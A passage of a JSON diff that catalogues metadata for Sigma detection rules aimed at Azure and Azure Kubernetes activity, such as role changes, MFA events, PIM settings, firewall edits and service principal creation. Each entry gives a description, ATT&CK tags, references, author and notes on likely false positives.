"falsepositive": [ + "Network Policy being modified and deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Network Policy being modified and deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies the deletion of Azure Kubernetes Pods.", + "uuid": "b02f9591-12c3-4965-986a-88028629b2e1", + "value": "Azure Kubernetes Pods Deleted", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", + "https://github.com/elastic/detection-rules/blob/065bf48a9987cd8bd826c098a30ce36e6868ee46/rules/integrations/azure/impact_kubernetes_pod_deleted.toml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_pods_deleted.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/07/24", + "filename": "azure_kubernetes_pods_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Pods may be deleted by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Pods deletions from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detects the creation or patching of potential malicious RoleBinding/ClusterRoleBinding.", + "uuid": "25cb259b-bbdc-4b87-98b7-90d7c72f8743", + "value": "Azure Kubernetes RoleBinding/ClusterRoleBinding Modified and Deleted", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", + "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", + "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", + "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1", + "https://attack.mitre.org/matrices/enterprise/cloud/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_rolebinding_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact", + "attack.credential_access" + ], + "creation_date": "2021/08/07", + "filename": "azure_kubernetes_rolebinding_modified_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "RoleBinding/ClusterRoleBinding being modified and deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "RoleBinding/ClusterRoleBinding modification from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies when ClusterRoles/Roles are being modified or deleted.", + "uuid": "818fee0c-e0ec-4e45-824e-83e4817b0887", + "value": "Azure Kubernetes Sensitive Role Access", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", + "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", + "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", + "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1", + "https://attack.mitre.org/matrices/enterprise/cloud/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_role_access.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/08/07", + "filename": "azure_kubernetes_role_access.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "ClusterRoles/Roles being modified and deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "ClusterRoles/Roles modification from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies when a Kubernetes account access a sensitive objects such as configmaps or secrets.", + "uuid": "7ee0b4aa-d8d4-4088-b661-20efdf41a04c", + "value": "Azure Kubernetes Secret or Config Object Access", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", + "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", + "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", + "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1", + "https://attack.mitre.org/matrices/enterprise/cloud/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_secret_or_config_object_access.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/08/07", + "filename": "azure_kubernetes_secret_or_config_object_access.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Sensitive objects may be accessed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Sensitive objects accessed from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies when a service account is modified or deleted.", + "uuid": "12d027c3-b48c-4d9d-8bb6-a732200034b2", + "value": "Azure Kubernetes Service Account Modified or Deleted", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", + "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", + "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", + "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1", + "https://attack.mitre.org/matrices/enterprise/cloud/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_service_account_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/08/07", + "filename": "azure_kubernetes_service_account_modified_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Service account being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Service account modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Alert on when legecy authentication has been used on an account", + "uuid": "60f6535a-760f-42a9-be3f-c9a0a025906e", + "value": "Use of Legacy Authentication Protocols", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-privileged-accounts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_legacy_authentication_protocols.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1212" + ], + "creation_date": "2022/06/17", + "filename": "azure_legacy_authentication_protocols.yml", + "author": "Yochana Henderson, '@Yochana-H'", + "level": "high", + "falsepositive": [ + "User has been put in acception group so they can use legacy authentication" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detect failed attempts to sign in to disabled accounts.", + "uuid": "908655e0-25cf-4ae1-b775-1c8ce9cf43d8", + "value": "Login to Disabled Account", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_login_to_disabled_account.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1078" + ], + "creation_date": "2021/10/10", + "filename": "azure_login_to_disabled_account.yml", + "author": "AlertIQ", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "User has indicated they haven't instigated the MFA prompt and could indicate an attacker has the password for the account.", + "uuid": "e40f4962-b02b-4192-9bfe-245f7ece1f99", + "value": "Multifactor Authentication Denied", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_mfa_denies.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1078.004" + ], + "creation_date": "2022/03/24", + "filename": "azure_mfa_denies.yml", + "author": "AlertIQ", + "level": "medium", + "falsepositive": [ + "Users actually login but miss-click into the Deny button when MFA prompt." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detection for when multi factor authentication has been disabled, which might indicate a malicious activity to bypass authentication mechanisms.", + "uuid": "7ea78478-a4f9-42a6-9dcd-f861816122bf", + "value": "Disabled MFA to Bypass Authentication Mechanisms", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1556/", + "https://docs.microsoft.com/en-us/azure/active-directory/authentication/howto-mfa-userstates", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_mfa_disabled.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1556" + ], + "creation_date": "2022/02/08", + "filename": "azure_mfa_disabled.yml", + "author": "@ionsor", + "level": "medium", + "falsepositive": [ + "Authorized modification by administrators" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies user login with multifactor authentication failures, which might be an indication an attacker has the password for the account but can't pass the MFA challenge.", + "uuid": "5496ff55-42ec-4369-81cb-00f417029e25", + "value": "Multifactor Authentication Interrupted", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_mfa_interrupted.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1078.004" + ], + "creation_date": "2021/10/10", + "filename": "azure_mfa_interrupted.yml", + "author": "AlertIQ", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies when a Firewall Policy is Modified or Deleted.", + "uuid": "83c17918-746e-4bd9-920b-8e098bf88c23", + "value": "Azure Network Firewall Policy Modified or Deleted", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_network_firewall_policy_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/09/02", + "filename": "azure_network_firewall_policy_modified_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Firewall Policy being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Firewall Policy modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies when a Firewall Rule Configuration is Modified or Deleted.", + "uuid": "2a7d64cf-81fa-4daf-ab1b-ab80b789c067", + "value": "Azure Firewall Rule Configuration Modified or Deleted", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_network_firewall_rule_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/08/08", + "filename": "azure_network_firewall_rule_modified_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Firewall Rule Configuration being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Firewall Rule Configuration modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies when a Point-to-site VPN is Modified or Deleted.", + "uuid": "d9557b75-267b-4b43-922f-a775e2d1f792", + "value": "Azure Point-to-site VPN Modified or Deleted", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_network_p2s_vpn_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/08/08", + "filename": "azure_network_p2s_vpn_modified_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Point-to-site VPN being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Point-to-site VPN modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies when a network security configuration is modified or deleted.", + "uuid": "d22b4df4-5a67-4859-a578-8c9a0b5af9df", + "value": "Azure Network Security Configuration Modified or Deleted", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_network_security_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/08/08", + "filename": "azure_network_security_modified_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Network Security Configuration being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Network Security Configuration modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies when a virtual network device is being modified or deleted.\nThis can be a network interface, network virtual appliance, virtual hub, or virtual router.\n", + "uuid": "15ef3fac-f0f0-4dc4-ada0-660aa72980b3", + "value": "Azure Virtual Network Device Modified or Deleted", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_network_virtual_device_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/08/08", + "filename": "azure_network_virtual_device_modified_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Virtual Network Device being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Virtual Network Device modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies when a new cloudshell is created inside of Azure portal.", + "uuid": "72af37e2-ec32-47dc-992b-bc288a2708cb", + "value": "Azure New CloudShell Created", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_new_cloudshell_created.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ], + "creation_date": "2021/09/21", + "filename": "azure_new_cloudshell_created.yml", + "author": "Austin Songer", + "level": "medium", + "falsepositive": [ + "A new cloudshell may be created by a system administrator." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies when a owner is was removed from a application or service principal in Azure.", + "uuid": "636e30d5-3736-42ea-96b1-e6e2f8429fd6", + "value": "Azure Owner Removed From Application or Service Principal", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-audit-activities#application-proxy", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_owner_removed_from_application_or_service_principal.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2021/09/03", + "filename": "azure_owner_removed_from_application_or_service_principal.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Owner being removed may be performed by a system administrator.", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Owner removed from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detects when a PIM elevation is approved or denied. Outside of normal operations should be investigated.", + "uuid": "039a7469-0296-4450-84c0-f6966b16dc6d", + "value": "PIM Approvals And Deny Elevation", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-identity-management#azure-ad-roles-assignment", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_pim_activation_approve_deny.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1078" + ], + "creation_date": "2022/08/09", + "filename": "azure_pim_activation_approve_deny.yml", + "author": "Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H'", + "level": "high", + "falsepositive": [ + "Actual admin using PIM." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detects when PIM alerts are set to disabled.", + "uuid": "aeaef14c-e5bf-4690-a9c8-835caad458bd", + "value": "PIM Alert Setting Changes To Disabled", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-identity-management#azure-ad-roles-assignment", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_pim_alerts_disabled.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1484" + ], + "creation_date": "2022/08/09", + "filename": "azure_pim_alerts_disabled.yml", + "author": "Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H'", + "level": "high", + "falsepositive": [ + "Administrator disabling PIM alerts as an active choice." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detects when changes are made to PIM roles", + "uuid": "db6c06c4-bf3b-421c-aa88-15672b88c743", + "value": "Changes To PIM Settings", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-identity-management#azure-ad-roles-assignment", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_pim_change_settings.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.defense_evasion", + "attack.t1078" + ], + "creation_date": "2022/08/09", + "filename": "azure_pim_change_settings.yml", + "author": "Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H'", + "level": "high", + "falsepositive": [ + "Legit administrative PIM setting configuration changes" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detects when a user is added to a privileged role.", + "uuid": "49a268a4-72f4-4e38-8a7b-885be690c5b5", + "value": "User Added To Privilege Role", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-identity-management#azure-ad-roles-assignment", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_priviledged_role_assignment_add.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1098" + ], + "creation_date": "2022/08/06", + "filename": "azure_priviledged_role_assignment_add.yml", + "author": "Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H'", + "level": "high", + "falsepositive": [ + "Legtimate administrator actions of adding members from a role" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detects when a user is removed from a privileged role. Bulk changes should be investigated.", + "uuid": "102e11e3-2db5-4c9e-bc26-357d42585d21", + "value": "Bulk Deletion Changes To Privileged Account Permissions", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-identity-management#azure-ad-roles-assignment", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_priviledged_role_assignment_bulk_change.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1098" + ], + "creation_date": "2022/08/05", + "filename": "azure_priviledged_role_assignment_bulk_change.yml", + "author": "Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H'", + "level": "high", + "falsepositive": [ + "Legtimate administrator actions of removing members from a role" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detects when a new admin is created.", + "uuid": "f7b5b004-dece-46e4-a4a5-f6fd0e1c6947", + "value": "Privileged Account Creation", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts#changes-to-privileged-accounts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_privileged_account_creation.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1078" + ], + "creation_date": "2022/08/11", + "filename": "azure_privileged_account_creation.yml", + "author": "Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H', Tim Shelton", + "level": "medium", + "falsepositive": [ + "A legitimate new admin account being created" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies IPs from which users grant access to other users on azure resources and alerts when a previously unseen source IP address is used.", + "uuid": "c1182e02-49a3-481c-b3de-0fadc4091488", + "value": "Rare Subscription-level Operations In Azure", + "meta": { + "refs": [ + "https://github.com/Azure/Azure-Sentinel/blob/e534407884b1ec5371efc9f76ead282176c9e8bb/Detections/AzureActivity/RareOperations.yaml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_rare_operations.yml" + ], + "tags": [ + "attack.t1003" + ], + "creation_date": "2020/05/07", + "filename": "azure_rare_operations.yml", + "author": "sawwinnnaung", + "level": "medium", + "falsepositive": [ + "Valid change" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies when a service principal is created in Azure.", + "uuid": "0ddcff6d-d262-40b0-804b-80eb592de8e3", + "value": "Azure Service Principal Created", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-audit-activities#application-proxy", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_service_principal_created.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2021/09/02", + "filename": "azure_service_principal_created.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Service principal being created may be performed by a system administrator.", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Service principal created from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies when a service principal was removed in Azure.", + "uuid": "448fd1ea-2116-4c62-9cde-a92d120e0f08", + "value": "Azure Service Principal Removed", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-audit-activities#application-proxy", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_service_principal_removed.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2021/09/03", + "filename": "azure_service_principal_removed.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Service principal being removed may be performed by a system administrator.", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Service principal removed from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detects when a user has been elevated to manage all Azure Subscriptions.\nThis change should be investigated immediately if it isn't planned.\nThis setting could allow an attacker access to Azure subscriptions in your environment.\n", + "uuid": "09438caa-07b1-4870-8405-1dbafe3dad95", + "value": "Azure Subscription Permission Elevation Via ActivityLogs", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftauthorization", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_subscription_permissions_elevation_via_activitylogs.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1078" + ], + "creation_date": "2021/11/26", + "filename": "azure_subscription_permissions_elevation_via_activitylogs.yml", + "author": "Austin Songer @austinsonger", + "level": "high", + "falsepositive": [ + "If this was approved by System Administrator." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detects when a user has been elevated to manage all Azure Subscriptions.\nThis change should be investigated immediately if it isn't planned.\nThis setting could allow an attacker access to Azure subscriptions in your environment.\n", + "uuid": "ca9bf243-465e-494a-9e54-bf9fc239057d", + "value": "Azure Subscription Permission Elevation Via AuditLogs", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts#assignment-and-elevation", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_subscription_permissions_elevation_via_auditlogs.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1078" + ], + "creation_date": "2021/11/26", + "filename": "azure_subscription_permissions_elevation_via_auditlogs.yml", + "author": "Austin Songer @austinsonger", + "level": "high", + "falsepositive": [ + "If this was approved by System Administrator." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies when a suppression rule is created in Azure. Adversary's could attempt this to evade detection.", + "uuid": "92cc3e5d-eb57-419d-8c16-5c63f325a401", + "value": "Azure Suppression Rule Created", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_suppression_rule_created.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/08/16", + "filename": "azure_suppression_rule_created.yml", + "author": "Austin Songer", + "level": "medium", + "falsepositive": [ + "Suppression Rule being created may be performed by a system administrator.", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Suppression Rule created from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detects when a temporary access pass (TAP) is added to an account. TAPs added to priv accounts should be investigated", + "uuid": "fa84aaf5-8142-43cd-9ec2-78cfebf878ce", + "value": "Temporary Access Pass Added To An Account", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts#changes-to-privileged-accounts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_tap_added.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.defense_evasion", + "attack.t1078" + ], + "creation_date": "2022/08/10", + "filename": "azure_tap_added.yml", + "author": "Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H'", + "level": "high", + "falsepositive": [ + "Administrator adding a legitmate temporary access pass" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detects when there is a interruption in the authentication process.", + "uuid": "8366030e-7216-476b-9927-271d79f13cf3", + "value": "Azure Unusual Authentication Interruption", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_unusual_authentication_interruption.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1078" + ], + "creation_date": "2021/11/26", + "filename": "azure_unusual_authentication_interruption.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detect when users in your Azure AD tenant are authenticating to other Azure AD Tenants.", + "uuid": "5f521e4b-0105-4b72-845b-2198a54487b9", + "value": "Users Authenticating To Other Azure AD Tenants", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-user-accounts#monitoring-external-user-sign-ins", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_users_authenticating_to_other_azure_ad_tenants.yml" + ], + "tags": [ + "attack.t1078" + ], + "creation_date": "2022/06/30", + "filename": "azure_users_authenticating_to_other_azure_ad_tenants.yml", + "author": "MikeDuddington, '@dudders1'", + "level": "medium", + "falsepositive": [ + "If this was approved by System Administrator." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detect access has been blocked by Conditional Access policies.\nThe access policy does not allow token issuance which might be sights\u2248 of unauthorizeed login to valid accounts.\n", + "uuid": "9a60e676-26ac-44c3-814b-0c2a8b977adf", + "value": "User Access Blocked by Azure Conditional Access", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_user_login_blocked_by_conditional_access.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1110" + ], + "creation_date": "2021/10/10", + "filename": "azure_user_login_blocked_by_conditional_access.yml", + "author": "AlertIQ", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detect when a user has reset their password in Azure AD", + "uuid": "340ee172-4b67-4fb4-832f-f961bdc1f3aa", + "value": "Password Reset By User Account", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_user_password_change.yml" + ], + "tags": [ + "attack.t1078" + ], + "creation_date": "2022/08/03", + "filename": "azure_user_password_change.yml", + "author": "YochanaHenderson, '@Yochana-H'", + "level": "medium", + "falsepositive": [ + "If this was approved by System Administrator or confirmed user action." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies when a Virtual Network is modified or deleted in Azure.", + "uuid": "bcfcc962-0e4a-4fd9-84bb-a833e672df3f", + "value": "Azure Virtual Network Modified or Deleted", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_virtual_network_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/08/08", + "filename": "azure_virtual_network_modified_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Virtual Network being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your 